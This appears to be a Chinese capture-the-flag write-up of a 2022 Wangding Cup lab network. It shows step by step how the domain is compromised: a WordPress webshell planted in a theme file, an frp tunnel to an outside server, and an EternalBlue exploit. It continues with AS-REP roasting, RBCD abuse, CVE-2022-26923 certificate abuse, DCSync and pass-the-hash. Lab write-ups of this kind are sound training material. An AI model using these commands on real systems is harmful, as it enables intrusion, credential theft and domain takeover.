文章目录
2022网鼎杯半决赛复盘
一、前期准备
1、靶标介绍
该靶场为2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4个flag,分布于不同的靶机。
2、拓扑图
3、相关设备
设备名称 | IP地址 |
---|---|
WEB01 | 39.99.136.199 172.22.15.26 |
XR-WIN08 | 172.22.15.24 |
XR-0687 | 172.22.15.35 |
XR-DC01 | 172.22.15.13 |
XR-CA | 172.22.15.48 |
二、WEB渗透
1、打开网站
http://39.99.136.199/
2、目录扫描
┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://39.99.136.199/
3、登录后台
http://39.99.136.199/wp-login.php
# 账号:admin
# 密码:123456
4、修改模板
修改主题文件:Appearance—>Theme File Editor—>Theme Footer成功getshell。
http://39.99.136.199/wp-admin/theme-editor.php?file=footer.php&theme=twentytwentyone
eval($_POST["cmd"]);
5、获取Shell
http://39.99.136.199/wp-content/themes/twentytwentyone/footer.php
6、frp代理
# 客户端
(www-data:/var/www/html/wp-content/themes/twentytwentyone) $ cd /tmp/
(www-data:/tmp) $ chmod +x frpc*
(www-data:/tmp) $ ./frpc -c ./frpc.ini
# frpc.ini配置内容
[common]
server_addr = 116.196.88.132
server_port = 7000
[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 445
remote_port = 6001
plugin = socks5
# VPS服务器或云主机
[root@CentOS-s-1-CPU-1-GB ~]# ./frps -c ./frps.ini
# frps.ini配置内容
[common]
bind_port = 7000
7、fscan扫描
(www-data:/tmp) $ ./fscan -h 172.22.15.0/24
172.22.15.18:139 open
172.22.15.13:139 open
172.22.15.13:88 open
172.22.15.24:139 open
172.22.15.35:135 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.24:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.13:445 open
172.22.15.24:445 open
172.22.15.18:445 open
172.22.15.35:139 open
[+] NetInfo:
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[+] NetInfo:
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[+] NetInfo:
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[+] NetInfo:
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] 172.22.15.35 XIAORANG\XR-0687
[*] WebTitle:http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[*] 172.22.15.18 XIAORANG\XR-CA Windows Server 2016 Standard 14393
[*] 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] 172.22.15.13 [+]DC XIAORANG\XR-DC01 Windows Server 2016 Standard 14393
[*] 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle:http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle:http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle:http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[+] InfoScan:http://172.22.15.26 [editor]
三、后渗透
1、XR-WIN08永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:116.196.88.132:6001
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.15.24
exploit
meterpreter > shell
C:\Windows\system32>cd C:\\users\\administrator\\flag
C:\Users\Administrator\flag>dir
C:\Users\Administrator\flag>type flag02.txt
C:\Users\Administrator\flag>net user test test123! /add
C:\Users\Administrator\flag>net localgroup administrators test /add
2、弱口令接管OA系统
获取多个员工邮箱地址:
- 通过admin/123456成功登录OA系统
- 在“团队”——“同事”中发现多个员工的邮箱地址
- 通过邮箱构造用户名字典,用于后续枚举用户
lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab
3、XR-0687AS-ERP Roasting
Kerberos身份认证的第一个过程又被称为域身份验证,主要是为了防止与用户密码脱机爆破。如果与用户关闭了预身份验证(“Do not require Kerberos preauthentication”)的话,攻击者可以使用指定的用户向域控制器发送AS-REQ请求。然后域控制器会返回TGT票据和加密的Session-key等信息。因此攻击者就可以对获取到的加密Session-key进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作AS-REP Roasting攻击。
获取TGT票据。
proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13 -usersfile username.txt xiaorang.lab/
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b
$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:65b092a36dd8d1c0c081c95ced2a0b5c$086f1297cb9911ce21af8569c7ffa32cd14a45c40e4b8b6d238eef27ba3950ca99d6101a323a4b3fa208c5569079d6090aa3ac6e8282e9ebcf648f8fff5931a2a171818303a0028b2fa3efc2bdd83650f8bbf4d303ef3974df40671e4185a8b47f424c64a416bd394501f122bb3e92d12b801f66eb5c6b3851337423e6242dbb85922fa767eb1855c1e2568d328c88158e9810ee2de558e0478026341ef05645ef5b23f943c6967590aea7d5f68a77d7ce6fe30e5536aabb7909c6695963f8dd47259e3b64922440007cb38e9252657053008213812802a49a3dbb27d8a3047a3489d9e81e24d4a64fa57d97
将申请到的TGT保存在文件中,使用John加载rockyou进行暴力破解。
hashcat -m 18200 --force -a 0 '$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b' /home/kali/网络安全/字典/rockyou.txt
hashcat -m 18200 --force -a 0 '$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:65b092a36dd8d1c0c081c95ced2a0b5c$086f1297cb9911ce21af8569c7ffa32cd14a45c40e4b8b6d238eef27ba3950ca99d6101a323a4b3fa208c5569079d6090aa3ac6e8282e9ebcf648f8fff5931a2a171818303a0028b2fa3efc2bdd83650f8bbf4d303ef3974df40671e4185a8b47f424c64a416bd394501f122bb3e92d12b801f66eb5c6b3851337423e6242dbb85922fa767eb1855c1e2568d328c88158e9810ee2de558e0478026341ef05645ef5b23f943c6967590aea7d5f68a77d7ce6fe30e5536aabb7909c6695963f8dd47259e3b64922440007cb38e9252657053008213812802a49a3dbb27d8a3047a3489d9e81e24d4a64fa57d97' /home/kali/网络安全/字典/rockyou.txt
# 账户和密码
lixiuying@xiaorang.lab/winniethepooh
huachunmei@xiaorang.lab/1qaz2wsx
远程登录XR-0687.
4、ACL Abuse+RBCD提权
基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。
枚举一下当前用户(lixiuying)对当前机器的DACL。
Import-Module .\PowerView.ps1
Get-DomainUser -Identity lixiuying -Properties objectsid
Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1131"}
通过与用户lixiuying在域内添加一个计算机账号Test1$,密码Test1234。
# 导入模块
Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Test1234' -AsPlainText -Force
# 通过Net-MachineAccount函数创建机器账户
New-MachineAccount -MachineAccount "Test1" -Password $($Password) -Domain "xiaorang.lab" -DomainController "XR-DC01.xiaorang.lab" -verbose
通过PowerView.ps1配置PENTEST01到XR-0687的基于资源的约束性委派。
将Test1的SID添加到XR-0687这台计算机对象的msDS-AllowedToActOnBehalfOfOtherIdentity属性中。
# 导入模块
Import-Module .\PowerView.ps1
# 获取Test1账户的 SID
Get-NetComputer "Test1" -Properties objectsid
# 尝试配置Test1到XR-0687的基于资源的约束性委派
$A = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)"
$SDBytes = New-Object byte[] ($A.BinaryLength)
$A.GetBinaryForm($SDBytes, 0)
Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
# 查看是否配置成功
Get-DomainComputer XR-0687 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
使用 impacket 的 getST.py执行基于资源的约束性委派工具并获取拥有访问XR-0687机器上的GIFS服务的高权限票据。
proxychains4 impacket-getST xiaorang.lab/Test1\$:Test1234 -dc-ip 172.22.15.13 -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator
这里请求失败,需要在 hosts 文件设置域名 IP。
sudo vim /etc/hosts
使用申请的票据获取XR-0687这台机器的本地管理员权限。
export KRB5CCNAME=Administrator.ccache
proxychains4 impacket-wmiexec -k xiaorang.lab/Administrator@XR-0687.xiaorang.lab -no-pass
5、XR-DC01(CVE-2022-26923)
2022年5月10日,微软发布补丁修复了一个Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。
- 默认情况下,域用户账户可以注册User证书模板,计算机账户可以注册Machine证书模板。两个证书模板都允许执行客户端身份验证。
- 在申请计算机证书时,ADCS将计算机对象的dNSHostName属性的值添加到证书的主题备用名称中。当我们使用证书进行身份验证是,KDC会尝试将这个dNSHOstName属性值从证书映射到目标账户。
- 因此,如果我们将某个可控计算机账户(Test1$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。
更改DNS Host Name。
# 方法一
# 执行powershell将之前创建的机器账号Test1的DNS Host Name为域控的XR-DC01.xiaorang.lab并删除SPN。
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]'')
$searcher.filter = '(&(objectClass=computer)(sAMAccountName={0}$))' -f "Test1"
$obj = [ADSI]$searcher.FindAll().Path
$spn = @()
$obj.servicePrincipalName | % { $spn += $_ }
$dns = $obj.dNSHostName.ToString()
$spn | % { $obj.servicePrincipalName.Remove($_) }
$obj.dNSHostName = "xr-dc01.xiaorang.lab"
$obj.SetInfo()
#方法二
# 通过certipy-ad创建一个机器账号Test2,并且设置DNS Host Name为域控的 XR-DC01.xiaorang.lab。
proxychains4 certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab'
用该机器账户向 XR-CA请求证书。
proxychains4 certipy-ad req -u Test2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
遇到 KDC_ERR_PADATA_TYPE_NOSUPP 错误,显示 KDC 不支持 PADATA 类型(预认证数据), Kerberos 预身份验证失败。使用第二种方法。
proxychains4 certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug
(1)、方法一
通过颁发的证书对KDC进行PKINIT Kerberos身份验证,并获取域控制器账户的TGT票据。
proxychains4 certipy-ad auth -pfx xr-dc-01.pfx -username XR-DC01\$ -domain xiaorang.lab -dc-ip xr-dc01.xiaorang.lab
由于域控制器账户默认对域对象用于DS-Replication-Get-Changes和DS-Replication-Get-Change-All扩展权限,因此可以通过DCSync转储所有域哈希。
export KRB5CCNAME=xr.dc01.ccache
proxychains4 python3 secretsdump.py -k xiaorang.lab/xr-dc01\$@xr-dc01.xiaorang.lab -no-pass -just-dc
通过哈希传递获取域控制器权限
proxychains4 impacket-wmiexec xiaorang.lab/Administrator@xr-dc01.xiaorang.lab -hashes :26b321bde63de24097cd6610547e858b
(2)、方法二
whoami 师傅提供的解决方案链接:https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/
转换请求到的证书格式。
certipy-ad cert -pfx xr-dc01.pfx > cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
通过证书认证到 LDAPS,添加机器账户Test3,并设置Test3到域控制器 XR-DC01 的 RBCD。
PassTheCertificate.exe -CertPath .\cert.pfx -CertPassword Test1234 -MachineAccount Test3$ -MachinePassword Test1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"
使用 impacket 的 getST.py 生成票据。
proxychains4 impacket-getST xiaorang.lab/Test3\$:Test1234 -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator
这里请求失败,需要在 hosts 文件设置域名 IP。
使用生成的票据获取系统管理员权限。
export KRB5CCNAME=Administrator.ccache
proxychains4 impacket-wmiexec -k XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -no-pass